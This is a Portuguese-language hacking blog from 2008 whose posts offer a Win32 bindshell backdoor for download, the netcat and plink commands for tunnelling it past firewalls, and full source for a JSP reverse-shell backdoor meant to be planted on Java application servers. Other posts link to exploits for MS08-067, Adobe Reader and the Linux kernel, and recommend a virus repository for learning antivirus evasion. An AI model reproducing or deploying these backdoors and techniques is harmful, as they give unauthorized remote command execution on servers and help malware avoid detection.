RootSec Remote Win32 BindShell v1.0 November 5, 2008
Posted by y2h4ck in General Hacking, Pentesting.Tags: bindshell, rootsec shell, win32 backdoor, windows backdoor
add a comment
O RootSecShell é uma backdoor para sistemas Win32 criada em C++ que pode ser utilizara para criar um canal de acesso em um servidor / estação Windows ( XP / 2000 / 2003 ) utilizando o protocolo TCP.
Ao executar o bindshell a mesma abre uma Listener na porta 8080/tcp aguardando pela conexão do cliente que irá inputar os comandos desejados que serão executados no prompt do sistema com as credenciais do usuário que executou o bindshell.
Ex:
$ nc win32.lab.net 8080
hostname
C:\WINDOWS\SYSTEM32>hostname
morrowinds
at
C:\WINDOWS\SYSTEM32>at
There are no entries in the list.
net user
C:\WINDOWS\SYSTEM32>net user
User accounts for \\MORROWINDS
——————————————————————————-
__vmware_user__ Administrator Suporte
ASPNET Guest HelpAssistant
SUPPORT_388945a0
The command completed successfully.
-
Como telnet envia caracter por caracter recomendo utilizar o netcat pois ele envia os dados do comando somente quando você da o Enter.
Download aqui: RootSec Win32 BindShell v.10
Uso para o Remote BindShell: Remote win32 BindShell v1.0 + plink = Reverse Port
1-) Rode o Bindshell na maquina destino,
2-) Rode o pelink
> plink.exe -ssh -l usuario -pw senha_usuario -R 2021:127.0.0.1:8080 www.servidorssh.com.br
No servidor SSH remoto:
$ nc 127.0.0.1 2021
Enjoy uma politica de saida mal configurada de Firewall.
Thanks: Gratz para o amigo Rodrigo “Spo0ker” Montoro que deu a dica de uso do RootSec Bindshell com o plink.
Happy Hacking 4 All.
Adobe Acrobat util.printf() Stack Buffer Overflow November 5, 2008
Posted by y2h4ck in General Security.Tags: Adobe Acrobat, adobe exploit, Ethical Hacking, exploit, Hacking, overflow, Stack Buffer Overflow, stack overflow, util.printf()
add a comment
Adobe Reader is arguably the world’s most ubiquitous electronic document sharing application. The software can be used to view, search, digitally sign, verify, print, and collaborate on Adobe PDF files, and includes scripting functionality to allow for extended customization and extensibility.
Adobe Reader suffers from a stack buffer overflow when parsing specially crafted (invalid) PDF files. The vulnerability is caused due to a boundary error when parsing format strings containing a floating point specifier in the “util.printf()” JavaScript function. Successful exploitation of the vulnerability requires that users open a maliciously crafted PDF file thereby allowing attackers to gain access to vulnerable systems and assume the privileges of a user running Acrobat Reader. Adobe Reader version 9, which was released in June 2008, is not vulnerable to the reported problem.
4. Vulnerable packages
- Adobe Reader 8.1.2
- Acrobat 8.1.2
5. Non-vulnerable packages
- Adobe Reader 9
- Acrobat 9
- Adobe Reader 8.1.3
- Acrobat 8.1.3
Advisorie Completo aqui:
Exploit PoC aqui.
Book of Month: November November 1, 2008
Posted by y2h4ck in General Hacking, security books.Tags: Hacking, Ethical Hacking, exploit, Book of Month, securtiy book, hacker disassembling, disassembling
add a comment
| Hacker Disassembling Uncovered |
| Author: Kris Kaspersky |
| Publisher: A-List Publishing |
| Year: 2007 |
| Pages: 550 |
| Amazon’s book description: Going beyond the issues of analyzing and optimizing programs as well as creating the means of protecting information, this guide takes on the programming problem of how to go about disassembling a program with holes without its source code. Detailing hacking methods used to analyze programs using a debugger and disassembler such as virtual functions, local and global variables, branching, loops, objects and their hierarchy, and mathematical operators, this guide covers methods of fighting disassemblers, self-modifying code in operating systems, and executing code in the stack. Advanced disassembler topics such as optimizing compilers and movable code are discussed as well, and a CD-ROM that contains illustrations and the source codes for the programs is also included. |
MS08-067: Windows RPC remote code execution October 29, 2008
Posted by y2h4ck in General Hacking.Tags: exploit, ms08-067, rpc, rpc exploit, windows rpc
add a comment
Esta atualização de segurança resolve uma vulnerabilidade reportada em particular no serviço do servidor. A vulnerabilidade pode permitir execução remota de código se um usuário receber uma solicitação de RPC especialmente criada em um sistema afetado. Nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário. É possível que esta vulnerabilidade seja usada na criação de uma exploração por worm. As práticas recomendadas de firewall e as configurações de firewall padrão podem ajudar a proteger recursos de rede contra ataques com origem externa ao perímetro da empresa.
Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008. Para obter mais informação, consulte a subseção Software afetado e não afetado nesta seção.
A atualização de segurança elimina a vulnerabilidade, corrigindo a maneira como o serviço Servidor manipula solicitações de RPC. Para obter mais informações sobre a vulnerabilidade, consulte a subseção Perguntas freqüentes relacionada à entrada da vulnerabilidade específica presente na próxima seção, Informações sobre a vulnerabilidade.
Boletim Completo aqui.
O exploit que foi publicado na internet e pode ser baixado no site milw0rm exploita a falha acima citada, e utilizando um shellcode portado do metasploit coloca uma porta tcp 4444 com permissão de SYSTEM que pode ser acessada via telnet.
Exploit aqui.
Good Hacking 4 All.
Linux kernel < 2.6.22 open/ftruncate local exploit October 28, 2008
Posted by y2h4ck in General Hacking, General Security.Tags: exploit, Hacking, kernel exploit, linux, linux kernel exploit, Pentesting
add a comment
(Description Provided by CVE) : fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable file in a setgid directory through the (1) truncate or (2) ftruncate function in conjunction with memory-mapped I/O.
Exploit aqui: http://www.milw0rm.com/exploits/6851
References:
- CVE ID: 2008-4210 (see also: NVD)
- Bugtraq ID: 31368
- Secunia Advisory ID: 32237 32344 32356
- Vendor Specific News/Changelog Entry: http://bugzilla.kernel.org/show_bug.cgi?id=8420
http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.26.y.git;a=commit;h=7b ……
http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.22
https://bugzilla.redhat.com/show_bug.cgi?id=463661 - Other Advisory URL: http://kernel.org/pub/linux/kernel/v2.4/ChangeLog-2.4.36.8
http://www.openwall.com/lists/oss-security/2008/09/24/5
http://www.openwall.com/lists/oss-security/2008/09/24/8
http://www.us.debian.org/security/2008/dsa-1653 - Mail List Post: http://lists.opensuse.org/opensuse-security-announce/2008-10/msg00007.html
Curso: Web applications Hacking 15/11 October 26, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking.Tags: curso hacking, curso pentesting, Ethical Hacking, Hacking, owasp
add a comment
Local: São Paulo - SP
Descrição: Hoje web applications estão tomando um lugar muito importante em grandes corporações, sendo assim é importante estar preparado para responder a incidentes de segurança antes que eles ocorram.
Este curso visa mostrar as principais vulnerabilidades existentes nas mais diferentes linguagens de programação como por exemplo ASP, PHP, JSP e Ajax. Abordaremos as principais técnicas de exploração e mostrar o risco que cada vulnerabilidade pode acarretar.
Entre os tópicos abordados teremos:
- Injection Flaws (SQL, XML, Numeric, Blind e String Injections);
- Cross-Site Scripting (XSS, XSFR, CSFR, etc..);
- Ajax Hacking (JSON, DOM, XML inject, eval(), etc…);
Para maiores informações favor entrar em contato pelo e-mail: anderson@rootsecurity.com.br.
Turmas:
| Turmas | Status |
15/11/2008 |
ABERTA |
JSP Reverse Shell Backdoor October 13, 2008
Posted by y2h4ck in General Hacking, Pentesting, Web Hacking.Tags: Ethical Hacking, Hacking, InputStream, Java Runtime Backdoor, JRE, jsp backdoor, OutputStream, Pentesting, Reverse Shell
add a comment
Java Server Pages (JSP) e uma forma muito popular para desenvolver aplicações web. Servidores que aplicação que suportam JSP muito conhecidos são Apache Tomcat, Weblogic e iPlanet. Neste post vamos dar uma olhada em um JSP malicioso que pode ser plantado em um servidor de aplicação Java para dar ao atacante uma shell reversa.
Entre as numerosas Classes do JRE está a java.lang.Runtime. Esta classe suporta um grande número de métodos que podem ser utilizados para executar um programa qualquer disponível no sistema alvo. Alguns destes métodos estão listados abaixo:
|
Return value |
Method name |
|
Process |
exec(String command) |
|
Process |
exec(String cmd, String[] envp) |
|
Process |
exec(String command, String[] envp, File dir) |
Observe que estes métodos executam o comando que é enviado através do parâmetro String e retorna um Process Object. Deste Process Object, é possivel obter o InputStream, OutputStream e o ErrorStream do processo executado. O resultado da execução do comando pode ser obtido através da leitura do OutputStream.
O JRE também contem um objeto Socket que pode ser usado para efetuar comunicação socket de outbound. Assim como o Process Object, o Socket Object tem InputStream e OutputStream Objects que pode ser utilizados para ler e escrever dados para o socket. Tendo em mente esta duas classes, é possivel escrever um reverse-shell backdoor cujo os passos seriam os seguintes:
1. Obter o Runtime Object,
2. Executar cmd.exe usando o Runtime Object e pegar o Process Object,
3. Criar uma conexão Socket de volta para o atacante,
4. Conectar o Socket OutStream ao Process InputStream,
5. Connectar o Socket InputStream ao Process OutputStream.
Abaixo segue o código ilustrando o exemplo citado acima:
— BOF—
// backdoor.jsp
< %@
page import=”java.lang.*, java.util.*, java.io.*, java.net.*”
% >
< %!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
% >
<h1>JSP Backdoor Reverse Shell</h1>
<form method=”post”>
IP Address
<input type=”text” name=”ipaddress” size=30>
Port
<input type=”text” name=”port” size=10>
<input type=”submit” name=”Connect” value=”Connect”>
</form>
<p>
<hr>
< %
String ipAddress = request.getParameter(”ipaddress”);
String ipPort = request.getParameter(”port”);
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(”cmd.exe”);
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
% >
–EOF–
A imagem abaixo mostra a tela da Backdoor para que o atacante possa colocar seu host / port para a conexão reversa:
As poderosas classes que pertecem ao JRE Default dão muita flexibilidade para os desenvolvedores de Backdoors. Particularmente, o Runtime class permite a execuçào de programas externos e suporta o carregamento de DLLs ou Unix shared objects.
Se o aplicação server for comprometido, backdoors podem ser plantadas junto com os JAR files da aplicação e será muito dificil de detecta-las.
Good Hacking 4 All.
Link: Source da Backdoor pode ser baixado aqui: Backdoor.Jsp
VX Heavens: Viruses don’t harm, ignorance does! October 8, 2008
Posted by y2h4ck in General Hacking.Tags: Hacking, virii, virology, hx heavens, virii repository, worms, virus engines
add a comment
Durante os ultimos meses passei a me interessar por debuging e ASM afim de entender melhor metodologias de detecção utilizadas por sistemas de Antivirus modernos e desenvolver desta forma metodologias de evadir de sua detecção.
Em algumas das pesquisas descobri o site HX Heavens que é um fantastico repositório de vírus e algoritmos desde worms simples aos mais completos e complexos algoritmos de polimorfismo viral e engines para Shellcode mutate.
Quem deseja estudar esta ramificação de virology recomendo visitar este site e obter muitos exemplos e arquivos interessantes.
Abaixo o Foreword do site:
“Welcome to VX Heavens! This site is dedicated to providing information about computer viruses (or virii, as some would prefer) to anyone who is interested in this topic.
This site contains a massive, continuously updated collection of magazines, virus samples, virus sources, polymorphic engines, virus generators, virus writing tutorials, articles, books, news archives etc. We also offer free hosting for virus authors and groups.
Some of you might reasonably say that it is illegal to offer such content on the net. Or that this information can be misused by “malicious people”. I only want to ask that person: “Is ignorance a defence?”".
No site existe também um Antivir checker que permite que você faça upload de arquivos para verificar se a engine de antivirus utilizada pelo HX Heaven detecta.
Link: http://vx.netlux.org/
Good Hacking 4 All.
























